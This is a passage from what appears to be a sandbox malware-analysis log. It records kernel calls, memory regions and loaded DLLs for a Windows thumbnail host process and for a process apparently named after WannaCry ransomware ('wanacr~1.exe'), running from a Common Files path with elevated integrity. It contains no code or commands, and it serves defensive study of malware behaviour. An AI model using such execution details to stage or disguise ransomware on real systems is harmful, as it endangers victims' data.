[0132.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.412] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000122d190) [0132.413] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.429] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.429] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.453] IoGetCurrentProcess () returned 0xffffe0000137f900 [0132.453] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0132.453] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.561] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xbd83940000) returned 0x0 [0132.562] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xbd86ce0000) returned 0x0 Process: id = "76" image_name = "thumbnailextractionhost.exe" filename = "c:\\windows\\system32\\thumbnailextractionhost.exe" page_root = "0x4bf8f000" os_pid = "0x9d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x228" cmd_line = "C:\\Windows\\System32\\ThumbnailExtractionHost.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 9090 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9091 start_va = 0x901a200000 end_va = 0x901a21ffff entry_point = 0x0 region_type = private name = "private_0x000000901a200000" filename = "" Region: id = 9092 start_va = 0x901a220000 end_va = 0x901a22efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a220000" filename = "" Region: id = 9093 start_va = 0x901a230000 end_va = 0x901a2affff entry_point = 0x0 region_type = private name = "private_0x000000901a230000" filename = "" Region: id = 9094 start_va = 0x901a2b0000 end_va = 0x901a2b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a2b0000" filename = "" Region: id = 9095 start_va = 0x7ff738410000 end_va = 0x7ff738432fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff738410000" filename = "" Region: id = 9096 start_va = 0x7ff738438000 end_va = 0x7ff738438fff entry_point = 0x0 region_type = private name = "private_0x00007ff738438000" filename = "" Region: id = 9097 start_va = 0x7ff73843e000 end_va = 0x7ff73843ffff entry_point = 0x0 region_type = private name = "private_0x00007ff73843e000" filename = "" Region: id = 9098 start_va = 0x7ff738e70000 end_va = 0x7ff738e7bfff entry_point = 0x7ff738e74c6c region_type = mapped_file name = "thumbnailextractionhost.exe" filename = "\\Windows\\System32\\ThumbnailExtractionHost.exe" (normalized: "c:\\windows\\system32\\thumbnailextractionhost.exe") Region: id = 9099 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9100 start_va = 0x901a2c0000 end_va = 0x901a2c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a2c0000" filename = "" Region: id = 9101 start_va = 0x901a2d0000 end_va = 0x901a2d1fff entry_point = 0x0 region_type = private name = "private_0x000000901a2d0000" filename = "" Region: id = 9102 start_va = 0x901a450000 end_va = 0x901a54ffff entry_point = 0x0 region_type = private name = "private_0x000000901a450000" filename = "" Region: id = 9103 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 9104 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 9105 start_va = 0x901a200000 end_va = 0x901a20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a200000" filename = "" Region: id = 9106 start_va = 0x7ff738310000 end_va = 0x7ff73840ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff738310000" filename = "" Region: id = 9107 start_va = 0x901a2e0000 end_va = 0x901a35dfff entry_point = 0x901a2e0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 9108 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9109 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9110 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9111 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9112 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9113 start_va = 0x901a210000 end_va = 0x901a216fff entry_point = 0x0 region_type = private name = "private_0x000000901a210000" filename = "" Region: id = 9114 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9115 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9116 start_va = 0x901a550000 end_va = 0x901a6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a550000" filename = "" Region: id = 9117 start_va = 0x901a360000 end_va = 0x901a393fff entry_point = 0x901a361030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9118 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9119 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9120 start_va = 0x901a6e0000 end_va = 0x901a84ffff entry_point = 0x0 region_type = private name = "private_0x000000901a6e0000" filename = "" Region: id = 9121 start_va = 0x901a360000 end_va = 0x901a366fff entry_point = 0x0 region_type = private name = "private_0x000000901a360000" filename = "" Region: id = 9122 start_va = 0x901a850000 end_va = 0x901a9d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a850000" filename = "" Region: id = 9123 start_va = 0x901a9e0000 end_va = 0x901bddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a9e0000" filename = "" Region: id = 9124 start_va = 0x901a370000 end_va = 0x901a370fff entry_point = 0x0 region_type = private name = "private_0x000000901a370000" filename = "" Region: id = 9125 start_va = 0x901a380000 end_va = 0x901a380fff entry_point = 0x0 region_type = private name = "private_0x000000901a380000" filename = "" Region: id = 9126 start_va = 0x901bde0000 end_va = 0x901bf56fff entry_point = 0x901bde10b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9127 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9128 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9129 start_va = 0x901a390000 end_va = 0x901a449fff entry_point = 0x901a3bc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9130 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9131 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9132 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9133 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9134 start_va = 0x901a6e0000 end_va = 0x901a7fffff entry_point = 0x0 region_type = private name = "private_0x000000901a6e0000" filename = "" Region: id = 9135 start_va = 0x901a840000 end_va = 0x901a84ffff entry_point = 0x0 region_type = private name = "private_0x000000901a840000" filename = "" Region: id = 9137 start_va = 0x901a390000 end_va = 0x901a390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a390000" filename = "" Region: id = 9138 start_va = 0x901a6e0000 end_va = 0x901a7cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a6e0000" filename = "" Region: id = 9139 start_va = 0x901a7f0000 end_va = 0x901a7fffff entry_point = 0x0 region_type = private name = "private_0x000000901a7f0000" filename = "" Region: id = 9140 start_va = 0x901a390000 end_va = 0x901a393fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a390000" filename = "" Region: id = 9141 start_va = 0x901a3a0000 end_va = 0x901a3a6fff entry_point = 0x0 region_type = private name = "private_0x000000901a3a0000" filename = "" Region: id = 9142 start_va = 0x901a3b0000 end_va = 0x901a3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000901a3b0000" filename = "" Region: id = 9143 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 9144 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9145 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9146 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 9147 start_va = 0x901bde0000 end_va = 0x901c0b4fff entry_point = 0x901bde0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9148 start_va = 0x901a3c0000 end_va = 0x901a43ffff entry_point = 0x0 region_type = private name = "private_0x000000901a3c0000" filename = "" Region: id = 9149 start_va = 0x7ff73843c000 end_va = 0x7ff73843dfff entry_point = 0x0 region_type = private name = "private_0x00007ff73843c000" filename = "" Region: id = 9150 start_va = 0x901c0c0000 end_va = 0x901c13ffff entry_point = 0x0 region_type = private name = "private_0x000000901c0c0000" filename = "" Region: id = 9151 start_va = 0x901c140000 end_va = 0x901c1bffff entry_point = 0x0 region_type = private name = "private_0x000000901c140000" filename = "" Region: id = 9152 start_va = 0x7ff738436000 end_va = 0x7ff738437fff entry_point = 0x0 region_type = private name = "private_0x00007ff738436000" filename = "" Region: id = 9153 start_va = 0x7ff73843a000 end_va = 0x7ff73843bfff entry_point = 0x0 region_type = private name = "private_0x00007ff73843a000" filename = "" Region: id = 9154 start_va = 0x901c1c0000 end_va = 0x901c23ffff entry_point = 0x0 region_type = private name = "private_0x000000901c1c0000" filename = "" Region: id = 9155 start_va = 0x7ff738434000 end_va = 0x7ff738435fff entry_point = 0x0 region_type = private name = "private_0x00007ff738434000" filename = "" Region: id = 9156 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Thread: id = 827 os_tid = 0x9dc Thread: id = 828 os_tid = 0x9e0 Thread: id = 829 os_tid = 0x9e4 Thread: id = 830 os_tid = 0x9e8 Thread: id = 831 os_tid = 0x9ec Process: id = "77" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x52272000" os_pid = "0xa08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "75" os_parent_pid = "0x9c8" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 9198 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9199 start_va = 0xdf36b60000 end_va = 0xdf36b7ffff entry_point = 0x0 region_type = private name = "private_0x000000df36b60000" filename = "" Region: id = 9200 start_va = 0xdf36b80000 end_va = 0xdf36b8efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df36b80000" filename = "" Region: id = 9201 start_va = 0xdf36b90000 end_va = 0xdf36f8ffff entry_point = 0x0 region_type = private name = "private_0x000000df36b90000" filename = "" Region: id = 9202 start_va = 0xdf36f90000 end_va = 0xdf36f93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df36f90000" filename = "" Region: id = 9203 start_va = 0x7ff6ceb70000 end_va = 0x7ff6ceb92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ceb70000" filename = "" Region: id = 9204 start_va = 0x7ff6ceb9d000 end_va = 0x7ff6ceb9efff entry_point = 0x0 region_type = private name = "private_0x00007ff6ceb9d000" filename = "" Region: id = 9205 start_va = 0x7ff6ceb9f000 end_va = 0x7ff6ceb9ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ceb9f000" filename = "" Region: id = 9206 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 9207 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9208 start_va = 0xdf36fa0000 end_va = 0xdf36fa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df36fa0000" filename = "" Region: id = 9209 start_va = 0xdf36fb0000 end_va = 0xdf36fb1fff entry_point = 0x0 region_type = private name = "private_0x000000df36fb0000" filename = "" Region: id = 9210 start_va = 0xdf37070000 end_va = 0xdf3746ffff entry_point = 0x0 region_type = private name = "private_0x000000df37070000" filename = "" Region: id = 9211 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 9212 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 9213 start_va = 0xdf36b60000 end_va = 0xdf36b6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df36b60000" filename = "" Region: id = 9214 start_va = 0x7ff6cea70000 end_va = 0x7ff6ceb6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cea70000" filename = "" Region: id = 9215 start_va = 0xdf36fc0000 end_va = 0xdf3703dfff entry_point = 0xdf36fc0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 9216 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 9217 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 9218 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 9219 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 9220 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 9221 start_va = 0xdf36b70000 end_va = 0xdf36b76fff entry_point = 0x0 region_type = private name = "private_0x000000df36b70000" filename = "" Region: id = 9222 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 9223 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 9224 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 9225 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 9226 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9227 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9228 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9229 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 9230 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 9231 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 9232 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9233 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9234 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 9235 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9236 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 9237 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9238 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 9239 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 9240 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 9241 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 9242 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9243 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9244 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9245 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 9246 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 9247 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 9248 start_va = 0xdf37470000 end_va = 0xdf3764ffff entry_point = 0x0 region_type = private name = "private_0x000000df37470000" filename = "" Region: id = 9249 start_va = 0xdf37040000 end_va = 0xdf37046fff entry_point = 0x0 region_type = private name = "private_0x000000df37040000" filename = "" Region: id = 9250 start_va = 0xdf37470000 end_va = 0xdf375f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df37470000" filename = "" Region: id = 9251 start_va = 0xdf37600000 end_va = 0xdf37633fff entry_point = 0xdf37601030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9252 start_va = 0xdf37640000 end_va = 0xdf3764ffff entry_point = 0x0 region_type = private name = "private_0x000000df37640000" filename = "" Region: id = 9253 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9254 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9255 start_va = 